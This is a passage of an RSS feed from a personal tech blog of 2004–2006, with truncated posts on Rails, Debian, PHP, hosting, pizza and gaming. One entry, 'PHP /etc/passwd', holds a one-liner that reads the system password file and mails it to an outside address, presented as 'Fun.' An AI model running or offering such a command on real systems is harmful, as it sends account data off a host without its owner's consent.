            :controller =&gt; 'home',
            :action     =&gt; 'index',
            :class      =&gt; 'selected' %&amp;gt;
<br /><br /><a href="http://destiney.com/blog/link-to">http://destiney.com/blog/link-to</a><br /><br /></description>
<pubDate>Sat, 01 Apr 2006 04:46:00 UTC</pubDate>
<guid>http://destiney.com/blog/link-to</guid>
</item>
<item>
<title>Debian Games</title>
<link>http://destiney.com/blog/debian-games</link>
<description>Here's some command line magic to install lots of games on your Debian box:


yes | \
  for x in `apt-cache search game \
      | sort \
      | awk 'BEGIN { FS = &quot; - &quot; } { print $1 }'`; do \
    apt-get install $x; \
  done
<br /><br /><a href="http://destiney.com/blog/debian-games">http://destiney.com/blog/debian-games</a><br /><br /></description>
<pubDate>Tue, 14 Feb 2006 20:34:22 UTC</pubDate>
<guid>http://destiney.com/blog/debian-games</guid>
</item>
<item>
<title>Migration to Lighttpd</title>
<link>http://destiney.com/blog/migration-to-lighttpd</link>
<description>Today I migrated all of my personal websites to a new server.  My hosting provider offered me access to a faster server running FreeBSD and LightTPD.  I have been hearing for quite some time now about the great performance LightTPD has.  They have it setup so Apache can proxy requests to my vhosts on to LightTPD.  I now have full control to restart any of my Rails apps whenever I li...<br /><br /><a href="http://destiney.com/blog/migration-to-lighttpd">http://destiney.com/blog/migration-to-lighttpd</a><br /><br /></description>
<pubDate>Sun, 18 Dec 2005 06:51:00 UTC</pubDate>
<guid>http://destiney.com/blog/migration-to-lighttpd</guid>
</item>
<item>
<title>Ruby on Rails 1.0 Released</title>
<link>http://destiney.com/blog/ruby-rails-1-0-released</link>
<description>Here is the announcement:

15 months after the first public release, Rails has arrived at the big 1.0. What a journey! We've gone through thousands of revisions, tickets, and patches from hundreds of contributors to get here. I'm incredibly proud at the core committer team, the community, and the ecosystem we've raised around this framework.

Rails 1.0 is mostly about making all...<br /><br /><a href="http://destiney.com/blog/ruby-rails-1-0-released">http://destiney.com/blog/ruby-rails-1-0-released</a><br /><br /></description>
<pubDate>Tue, 13 Dec 2005 22:47:00 UTC</pubDate>
<guid>http://destiney.com/blog/ruby-rails-1-0-released</guid>
</item>
<item>
<title>CiCi's Pizza Sucks</title>
<link>http://destiney.com/blog/cicis-pizza-sucks</link>
<description>My wife suggested we try CiCi's Pizza. Last night we gave our closest location a visit:

1765 Gallatin Road North
Madison, TN 37115

My experience was very bad to say the least:

Their salad bar had no tomatoes or shredded cheese. Aren't tomatoes the second thing you put on a salad after the lettuce?

The soda dispenser didn't have Mountain Dew or Mellow Yellow or Pepsi or ...<br /><br /><a href="http://destiney.com/blog/cicis-pizza-sucks">http://destiney.com/blog/cicis-pizza-sucks</a><br /><br /></description>
<pubDate>Sat, 05 Nov 2005 09:34:00 UTC</pubDate>
<guid>http://destiney.com/blog/cicis-pizza-sucks</guid>
</item>
<item>
<title>Debian is the one</title>
<link>http://destiney.com/blog/debian-is-the-one</link>
<description>After many years of using lots of popular (and some unpopular) Linux distros, I believe I have decided on a new favorite.  I say 'new' mostly because I've had quite a few favorites already.  Gentoo held my attention for a couple of years and in my early years of using Linux, Red Hat was my pick.

Debian is rock solid and very polished.  It has well-written package management tools...<br /><br /><a href="http://destiney.com/blog/debian-is-the-one">http://destiney.com/blog/debian-is-the-one</a><br /><br /></description>
<pubDate>Mon, 31 Oct 2005 00:10:00 UTC</pubDate>
<guid>http://destiney.com/blog/debian-is-the-one</guid>
</item>
<item>
<title>gem install rails</title>
<link>http://destiney.com/blog/gem-install-rails</link>
<description>The discussion about RubyGems being part of the standard distro is alive and well.  The gem server seems slow.

A workaround:


wget -c http://gems.rubyforge.org/gems/rails-0.13.1.
gem http://gems.rubyforge.org/gems/rake-0.6.2.gem
http://gems.rubyforge.org/gems/activesupport-1.1.1.
gem http://gems.rubyforge.org/gems/activerecord-1.11.
1.gem http://gems.rubyforge.org/gems/ac...<br /><br /><a href="http://destiney.com/blog/gem-install-rails">http://destiney.com/blog/gem-install-rails</a><br /><br /></description>
<pubDate>Mon, 17 Oct 2005 03:51:55 UTC</pubDate>
<guid>http://destiney.com/blog/gem-install-rails</guid>
</item>
<item>
<title>PHP 5 and MySQL 4.1 on Gentoo Linux 2005.1</title>
<link>http://destiney.com/blog/php-5-mysql-4-1-gentoo-linux-2005-1</link>
<description>In case you weren't aware, the current availability of PHP 5 and MySQL 4.1 on Gentoo Linux is pretty much non-existent.  Many PHP/MySQL developers using Gentoo Linux are frustrated and fed up with waiting on the Gentoo developers to repair the broken ebuilds currently in portage.  Worse than that, instead of fixing the broken ebuilds, time is being wasted developing alternate ways o...<br /><br /><a href="http://destiney.com/blog/php-5-mysql-4-1-gentoo-linux-2005-1">http://destiney.com/blog/php-5-mysql-4-1-gentoo-linux-2005-1</a><br /><br /></description>
<pubDate>Sat, 03 Sep 2005 18:24:00 UTC</pubDate>
<guid>http://destiney.com/blog/php-5-mysql-4-1-gentoo-linux-2005-1</guid>
</item>
<item>
<title>Newlines</title>
<link>http://destiney.com/blog/newlines</link>
<description>Data is the 'stuff' between newline characters.<br /><br /><a href="http://destiney.com/blog/newlines">http://destiney.com/blog/newlines</a><br /><br /></description>
<pubDate>Tue, 19 Jul 2005 21:23:00 UTC</pubDate>
<guid>http://destiney.com/blog/newlines</guid>
</item>
<item>
<title>Blog Spammers</title>
<link>http://destiney.com/blog/blog-spammers</link>
<description>Blog Spammers have been spamming ads in the comments section of my blog the past few months.  Typically I'd just go through and delete them.  Today some idiot was going at it pretty good.  I was getting a spam comment every few minutes.  So here's my solution:


$ips = array(
  &amp;quot;216.69.166.196&amp;quot;,
);

if( in_array( $_SERVER[ 'REMOTE_ADDR' ], $ips ) )
{
  sleep( 900 ...<br /><br /><a href="http://destiney.com/blog/blog-spammers">http://destiney.com/blog/blog-spammers</a><br /><br /></description>
<pubDate>Sun, 17 Jul 2005 12:21:00 UTC</pubDate>
<guid>http://destiney.com/blog/blog-spammers</guid>
</item>
<item>
<title>Ruby on Rails</title>
<link>http://destiney.com/blog/ruby-rails</link>
<description>I rebuilt Destiney.com using the Ruby on Rails MVC framework.  For the uninitiated, MVC means model-view-controller.  Being fairly new to Ruby on Rails, the rebuild took me about 8 hours or so.  I have some old benchmark pages of various stuff.. took time to bring those in.  They were previously in a standalone section.  I was able to display my recent Blog entries content, not just...<br /><br /><a href="http://destiney.com/blog/ruby-rails">http://destiney.com/blog/ruby-rails</a><br /><br /></description>
<pubDate>Mon, 04 Jul 2005 07:10:00 UTC</pubDate>
<guid>http://destiney.com/blog/ruby-rails</guid>
</item>
<item>
<title>Web Server Marketshare</title>
<link>http://destiney.com/blog/web-server-marketshare</link>
<description>Web server marketshare:

http://news.netcraft.com/archives/web_server_survey.html

Look at the second graph

Apache 69.37%
Microsoft 20.54%

You can see in early 2002, Microsoft had a growth spurt. I suspect this was due to many developers looking into .NET and setting up new servers to check it out. Later as interest began to fade, Microsoft IIS usage continued to decline....<br /><br /><a href="http://destiney.com/blog/web-server-marketshare">http://destiney.com/blog/web-server-marketshare</a><br /><br /></description>
<pubDate>Sun, 03 Jul 2005 21:57:00 UTC</pubDate>
<guid>http://destiney.com/blog/web-server-marketshare</guid>
</item>
<item>
<title>MySQL Core Certification</title>
<link>http://destiney.com/blog/mysql-core-certification</link>
<description>I took the MySQL Core Certification test. It wasn't nearly as easy as I thought it would have been. Especially since I've been using MySQL for such a long time. I ended up marking about 15 or so questions and coming back to them. In the end I passed with time to spare. This certification will look really nice next to my Zend Certified Engineer (PHP) certification.

W00t!<br /><br /><a href="http://destiney.com/blog/mysql-core-certification">http://destiney.com/blog/mysql-core-certification</a><br /><br /></description>
<pubDate>Wed, 22 Jun 2005 06:21:00 UTC</pubDate>
<guid>http://destiney.com/blog/mysql-core-certification</guid>
</item>
<item>
<title>Last question only?</title>
<link>http://destiney.com/blog/last-question-only</link>
<description>One of the most annoying things that happens when conversing over email is getting your whole email ignored except the last question. Like for example when you send in a support request to a web host, they ignore everything you write up until the last question. They respond to that one question and that's it. Makes me wanna scream.

So.. I've sort of began to send single question ...<br /><br /><a href="http://destiney.com/blog/last-question-only">http://destiney.com/blog/last-question-only</a><br /><br /></description>
<pubDate>Sat, 04 Jun 2005 12:12:00 UTC</pubDate>
<guid>http://destiney.com/blog/last-question-only</guid>
</item>
<item>
<title>PHP extensions case</title>
<link>http://destiney.com/blog/php-extensions-case</link>
<description>One thing that really falls short with PHP is the crazy naming conventions that seem to follow no particular pattern.  Trying to figure out why PDO doesn't seem to work today, I found yet another case naming difference:


&amp;gt; cat extensions.php
#!/usr/bin/php
&amp;lt;?php

print_r( get_loaded_extensions() );

?&amp;gt;



&amp;gt; ./extensions.php   
Array
(
  [0] =&amp;gt; xml
  ...<br /><br /><a href="http://destiney.com/blog/php-extensions-case">http://destiney.com/blog/php-extensions-case</a><br /><br /></description>
<pubDate>Fri, 29 Apr 2005 04:00:12 UTC</pubDate>
<guid>http://destiney.com/blog/php-extensions-case</guid>
</item>
<item>
<title>Setting up a Fedora development server</title>
<link>http://destiney.com/blog/setting-up-a-fedora-development-server</link>
<description>I recently setup Fedora Core 3 on an old server I had as a new a PHP/MySQL development environment. I downloaded the Fedora Core 3 #1 .iso image and burned it to cd. I booted it up and chose the 'minimal' install.  Even the minimal install was fairly large, over 500MBs.  The install completed without a hitch and I began to configure the system.

First I tried up2date. This is supp...<br /><br /><a href="http://destiney.com/blog/setting-up-a-fedora-development-server">http://destiney.com/blog/setting-up-a-fedora-development-server</a><br /><br /></description>
<pubDate>Sun, 10 Apr 2005 13:55:00 UTC</pubDate>
<guid>http://destiney.com/blog/setting-up-a-fedora-development-server</guid>
</item>
<item>
<title>Web hosting woes..</title>
<link>http://destiney.com/blog/web-hosting-woes</link>
<description>Whatever you do, do not use Geekhosting.com.

When I first got the hosting account many months ago everything seemed fine.  But more and more I saw my site getting slower and slower.  The mornings were the worst.  They would perform backups every day and my site was basically inaccessible during the backup period.  People wrote to me and asked why my site was so slow.  It was emba...<br /><br /><a href="http://destiney.com/blog/web-hosting-woes">http://destiney.com/blog/web-hosting-woes</a><br /><br /></description>
<pubDate>Sat, 09 Apr 2005 05:04:00 UTC</pubDate>
<guid>http://destiney.com/blog/web-hosting-woes</guid>
</item>
<item>
<title>World of Warcraft</title>
<link>http://destiney.com/blog/world-of-warcraft</link>
<description>I've been playing World of Warcraft lately.  So far I have a level 16 Undead Warlock and a level 11 Undead Mage.  I also have a paladin and a warrior but I don't find them very interesting to play and will probably not play them very much more if any.

The Mage character is a straight out damage dealer.  I'm thinking I will spec in fire mostly, with a little cold and arcane.  I lo...<br /><br /><a href="http://destiney.com/blog/world-of-warcraft">http://destiney.com/blog/world-of-warcraft</a><br /><br /></description>
<pubDate>Thu, 03 Feb 2005 22:11:00 UTC</pubDate>
<guid>http://destiney.com/blog/world-of-warcraft</guid>
</item>
<item>
<title>PHP /etc/passwd</title>
<link>http://destiney.com/blog/php-etc-passwd</link>
<description>
php -r '$p=cat /etc/passwd; mail( &quot;me@myhost.com&quot;, \
&quot;pwds&quot;, &quot;$p&quot;,
&quot;From: me\r\n&quot; );'


Fun.<br /><br /><a href="http://destiney.com/blog/php-etc-passwd">http://destiney.com/blog/php-etc-passwd</a><br /><br /></description>
<pubDate>Thu, 20 Jan 2005 16:59:00 UTC</pubDate>
<guid>http://destiney.com/blog/php-etc-passwd</guid>
</item>
<item>
<title>Pffffttt..</title>
<link>http://destiney.com/blog/pffffttt</link>
<description>I joined a new band about a month ago. My long-time friend and music buddy John found a new band and they needed another guitarist.. so I tried out and got offered the position. Little did I know how things would turn out at the time. I should have guessed what was going to happen after the second practice or so.

The first night the &amp;quot;leader&amp;quot; of the band Steve tells me t...<br /><br /><a href="http://destiney.com/blog/pffffttt">http://destiney.com/blog/pffffttt</a><br /><br /></description>
<pubDate>Tue, 18 Jan 2005 22:50:00 UTC</pubDate>
<guid>http://destiney.com/blog/pffffttt</guid>
</item>
<item>
<title>Hump-day update</title>
<link>http://destiney.com/blog/hump-day-update</link>
<description>I'm loving my new job so far.  My first project was a simple exhibitor and delegate signup system for the TN State Safety Congress.  I finished it pretty quick and am now waiting for testing to be completed.  They say I will need to incorporate some basic icons and graphics to 'pretty it up' and stuff.  Fun.  :)

I released all my PHP scripts on Freshmeat today.  Weird, they didn'...<br /><br /><a href="http://destiney.com/blog/hump-day-update">http://destiney.com/blog/hump-day-update</a><br /><br /></description>
<pubDate>Thu, 06 Jan 2005 21:53:00 UTC</pubDate>
<guid>http://destiney.com/blog/hump-day-update</guid>
</item>
<item>
<title>Happy New Year</title>
<link>http://destiney.com/blog/happy-new-year</link>
<description>It's 2005 finally.  Lots of people all over the world probably got drunk last night.  I didn't.  I like a little alcohol sometimes, but I really have to be in the mood.  I guess that's a good thing.

I did stay up fairly late programming last night.  I set up this new blog and tweaked out the styles to my favorite greyscale color scheme.  I love greyscale.  It's so simple and yet ...<br /><br /><a href="http://destiney.com/blog/happy-new-year">http://destiney.com/blog/happy-new-year</a><br /><br /></description>
<pubDate>Sat, 01 Jan 2005 09:25:00 UTC</pubDate>
<guid>http://destiney.com/blog/happy-new-year</guid>
</item>
<item>
<title>PHP Security</title>
<link>http://destiney.com/blog/php-security</link>
<description>Should system admins leave PHP web server security to the programmers alone?

That's a bad idea.  Sysadmins have full control over the httpd.conf and the php.ini files.  Any PHP functions, classes, file extensions, execution access, etc., that he/she feels unsafe may be disabled quite easily.<br /><br /><a href="http://destiney.com/blog/php-security">http://destiney.com/blog/php-security</a><br /><br /></description>
<pubDate>Thu, 09 Dec 2004 03:42:13 UTC</pubDate>
<guid>http://destiney.com/blog/php-security</guid>
</item>
</channel>
</rss>